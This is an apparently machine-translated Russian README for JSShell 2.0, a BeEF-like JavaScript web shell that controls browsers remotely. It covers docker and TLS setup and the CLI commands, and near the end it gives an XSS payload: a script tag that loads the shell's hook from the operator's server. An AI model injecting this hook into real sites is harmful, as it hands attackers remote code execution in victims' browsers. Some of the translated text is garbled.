Интерактивная многопользовательская веб-оболочка JavaScript. Первоначально он был создан для отладки удаленных эзотерических браузеров во время экспериментов и исследований. Этот инструмент может быть легко подключен к полезной нагрузке XSS (сценарии кросс -сайта) для достижения удаленного кода браузера (аналогично фреймворкам говядины).
Версия 2.0 полностью создана с нуля, внедряя новые захватывающие функции, стабильность и обслуживание.
Даниэль Абелес.
<script> теги В каталоге resources обновите файл config.json с помощью желаемой конфигурации:
docker выберите хост базы данных в качестве db (которое является внутренним именем хоста).shell.js выполняет некоторые вызовы AJAX для регистрации и опроса для новых команд. Обычно это будет http[s]://{YOUR_SERVER_IP}:{PORT} . Теперь JSSHELL поддерживает TLS, что означает, что теперь вы можете генерировать сертификаты TLS и подавать их на веб -сервер. Веб -сервер выведет доменное имя из файла config.json . Чтобы создать сертификат, используйте сценарий create_cert.py в папке scripts :
$ cd scripts
$ python create_cert.py --domain < YOUR_DOMAIN > --email < YOUR_EMAIL > Обратите внимание, что веб -сервер должен быть снижен, чтобы сценарий функционировал должным образом. На этом этапе мы успешно сгенерировали наши сертификаты! Единственные модификации, которые мы должны сделать:
config.json измените схему поля URL на https .docker-compose.yml измените открытый порт web контейнера на 443 . Эта новая версия поддерживает установку и запуск JSSHELL через docker и docker-compose . Теперь, чтобы установить и запустить всю структуру JSSHELL, просто запустите:
$ ./scripts/start_docker_shell.shЭто будет:
JSShell Если вы все еще хотите использовать метод установки старой моды, просто убедитесь, что у вас есть база данных MongoDB , и обновите файл config.json , находящийся в каталоге resources .
Я рекомендую использовать виртуальную среду с pyenv :
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv Или используя virtualenv :
$ virtualenv -p python3.6 venv
$ source venv/bin/activateЗатем установите требования:
$ pip install -r requirements.txt Если вы использовали метод docker , нет необходимости запускать следующую процедуру.
В противном случае, как только у нас есть настройка базы данных, нам нужно запустить сервер веб -API. Делать, беги:
$ python manage.py webЭто создаст и запустит веб -сервер, который слушает входящие соединения и обслуживает наш код JSSHELL.
Теперь, чтобы начать CLI JSSHELL, запустите тот же сценарий, но теперь с флагом shell :
$ python manage.py shell После настройки и запуска требуемых компонентов введите команду help , чтобы увидеть доступные команды:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit Edit a file in a text editor
help List available commands or provide detailed help for a specific command
history View, run, edit, save, or clear previously entered commands
ipy Enter an interactive IPython shell
py Invoke Python command or shell
quit Exit this application
Shell Based Operations
--------------------------------------------------------------------------------
back Un-select the current selected client
clients List and control the clients that have registered to our system
commands Show the executed commands on the selected client
dump Dumps a command to the disk
execute Execute commands on the selected client
select Select a client as the current client
>>
Jsshell поддерживает 2 метода работы:
Подобно другими фреймворками управления XSS (например, говядиной), JSshell способен управлять успешной эксплуатацией XSS. В примере, если вы можете ввести тег script , ввести следующий ресурс в свою полезную нагрузку, а в вашей консоли появится новый клиент:
<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
Если вы хотите отладить экзотические и эзотерические браузеры, вы можете просто перейти к http[s]://{YOUR_SERVER_IP}:{PORT}/ и новый клиент появится в вашем клиенте JSshell CLI. Теперь это отзывается через нашу консоль JSSHELL.
Canop для json.prune